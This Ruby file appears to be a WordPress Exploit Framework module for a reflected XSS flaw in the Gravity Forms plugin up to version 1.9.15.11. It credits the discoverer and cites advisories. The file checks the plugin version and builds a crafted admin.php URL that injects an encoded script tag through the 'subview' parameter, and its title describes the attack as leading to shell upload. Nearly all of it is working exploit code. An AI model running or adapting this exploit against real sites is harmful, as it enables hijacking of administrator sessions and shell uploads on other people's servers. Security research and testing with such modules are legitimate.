# frozen_string_literal: true

class Wpxf::Exploit::GravityFormsV191511ReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Gravity Forms <= 1.9.15.11 Reflected XSS Shell Upload',
      author: [
        'Henri Salo', # Discovery
        'rastating'   # WPXF module
      ],
      references: [
        ['WPVDB', '8400'],
        ['URL', 'http://seclists.org/bugtraq/2016/Mar/0']
      ],
      date: 'Mar 01 2016'
    )
  end

  def check
    changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
    check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=gf_settings&subview=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%0A"
  end
end
